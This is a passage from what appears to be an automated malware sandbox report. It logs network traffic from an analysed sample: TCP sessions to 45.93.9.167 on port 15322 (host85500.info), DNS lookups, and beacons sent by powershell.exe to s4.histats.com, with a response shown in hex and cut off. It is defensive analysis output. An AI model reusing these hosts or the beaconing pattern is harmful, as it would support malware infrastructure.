Feb 5, 2025 23:11:10.836723089 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836735964 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836747885 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836760044 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.836787939 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.836808920 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836822033 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836838961 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836848021 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.836873055 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836875916 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.836886883 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836926937 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.836951017 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836962938 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836977005 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.836992025 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837013960 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837030888 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837038040 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837081909 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837099075 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837115049 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837122917 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837147951 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837157011 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837162018 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837203979 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837272882 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837285042 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837296009 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837354898 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837366104 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837368965 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837383032 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837394953 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837400913 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837400913 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837416887 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837487936 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837500095 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837512016 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837522030 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837536097 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837555885 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837580919 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837582111 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837595940 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837651968 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837791920 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837804079 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837815046 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837826967 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837846041 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837867022 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.837867022 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837881088 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837893963 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.837930918 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838036060 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838048935 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838061094 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838078022 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838094950 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838121891 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838135004 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838145971 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838159084 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838170052 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838202000 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838236094 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838254929 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838267088 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838279009 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838289976 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838294029 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838329077 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838393927 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838413000 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838437080 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838470936 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838483095 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838495016 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838516951 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838555098 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838635921 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838649035 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838660955 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838673115 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838684082 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.838686943 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.838713884 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.884119987 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884195089 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.884208918 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884221077 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884234905 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884252071 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884263039 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884275913 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.884295940 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.884360075 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.905411959 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905426979 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905450106 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905462027 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905472994 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905478954 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905489922 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905495882 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.905500889 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.905544996 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:12.565640926 CET	49708	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:12.565684080 CET	443	49708	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:12.565766096 CET	49708	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:12.566047907 CET	49708	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:12.566061974 CET	443	49708	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:13.237080097 CET	443	49708	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:13.242248058 CET	49708	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:13.242281914 CET	443	49708	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:13.365370035 CET	443	49708	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:13.365453005 CET	443	49708	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:13.365530968 CET	49708	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:13.366004944 CET	49708	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:13.421390057 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:18.652638912 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:18.652678013 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:18.652789116 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:18.654750109 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:18.654766083 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.239851952 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.239934921 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.253328085 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.253346920 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.253572941 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.253650904 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.260217905 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.303333044 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.366539955 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.366614103 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.366625071 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.366691113 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.382047892 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.382066011 CET	443	49712	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.382095098 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.382145882 CET	49712	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.406893015 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.406941891 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:19.407021046 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.407231092 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:19.407243967 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.104939938 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.105065107 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.107819080 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.107827902 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.109890938 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.109896898 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.217384100 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.217472076 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.217492104 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.217796087 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.217987061 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.217987061 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.218008041 CET	443	49713	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.218138933 CET	49713	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.220473051 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.220510006 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.220664024 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.222887039 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.222903967 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.814490080 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.814568996 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.815141916 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.815152884 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.816932917 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.816937923 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.922924995 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.922997952 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.923048019 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.923048019 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.923542976 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.923558950 CET	443	49714	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:20.923569918 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:20.923623085 CET	49714	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:25.437134981 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:25.437184095 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:25.437279940 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:25.437603951 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:25.437616110 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.101094007 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.101161957 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.101629019 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.101644993 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.103188992 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.103193998 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.205044031 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.205111980 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.205115080 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.205157995 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.205673933 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.205693960 CET	443	49715	142.4.219.198	192.168.2.16
Feb 5, 2025 23:11:26.205705881 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:11:26.205738068 CET	49715	443	192.168.2.16	142.4.219.198
Feb 5, 2025 23:12:19.101222038 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.101253986 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.101383924 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.103435993 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.103449106 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.675816059 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.675936937 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.685899973 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.685916901 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.686012983 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.686021090 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.686180115 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.686254978 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.788430929 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.788496017 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.788500071 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.788558960 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.791750908 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.791779041 CET	443	49717	149.56.240.132	192.168.2.16
Feb 5, 2025 23:12:19.791796923 CET	49717	443	192.168.2.16	149.56.240.132
Feb 5, 2025 23:12:19.791853905 CET	49717	443	192.168.2.16	149.56.240.132

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2025 23:11:08.125380039 CET	49551	53	192.168.2.16	1.1.1.1
Feb 5, 2025 23:11:08.134134054 CET	53	49551	1.1.1.1	192.168.2.16
Feb 5, 2025 23:11:09.023178101 CET	64549	53	192.168.2.16	1.1.1.1
Feb 5, 2025 23:11:09.049704075 CET	53	64549	1.1.1.1	192.168.2.16
Feb 5, 2025 23:12:19.089854956 CET	53998	53	192.168.2.16	1.1.1.1
Feb 5, 2025 23:12:19.096782923 CET	53	53998	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 5, 2025 23:11:08.125380039 CET	192.168.2.16	1.1.1.1	0x3233	Standard query (0)	s4.histats.com	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:09.023178101 CET	192.168.2.16	1.1.1.1	0x2fa9	Standard query (0)	host85500.info	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.089854956 CET	192.168.2.16	1.1.1.1	0x4f4d	Standard query (0)	s4.histats.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	142.4.219.198	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.129	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.127	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.132	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	54.39.128.162	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	54.39.156.32	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.128	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.31	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	54.39.128.117	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	158.69.254.144	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.131	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.27	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:08.134134054 CET	1.1.1.1	192.168.2.16	0x3233	No error (0)	s4.histats.com	149.56.240.130	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:11:09.049704075 CET	1.1.1.1	192.168.2.16	0x2fa9	No error (0)	host85500.info	45.93.9.167	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.132	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	54.39.128.162	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.27	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.131	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	158.69.254.144	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.31	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	54.39.128.117	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.130	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	54.39.156.32	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.129	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.127	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	142.4.219.198	A (IP address)	IN (0x0001)	false
Feb 5, 2025 23:12:19.096782923 CET	1.1.1.1	192.168.2.16	0x4f4d	No error (0)	s4.histats.com	149.56.240.128	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

s4.histats.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49703	142.4.219.198	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:11:08 UTC	134	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/b_dGVzdA==_ HTTP/1.1 Host: s4.histats.com Connection: Keep-Alive
2025-02-05 22:11:08 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:11:08 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:11:08 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49708	142.4.219.198	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:11:13 UTC	134	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/a_dGVzdA==_ HTTP/1.1 Host: s4.histats.com Connection: Keep-Alive
2025-02-05 22:11:13 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:11:13 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:11:13 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var 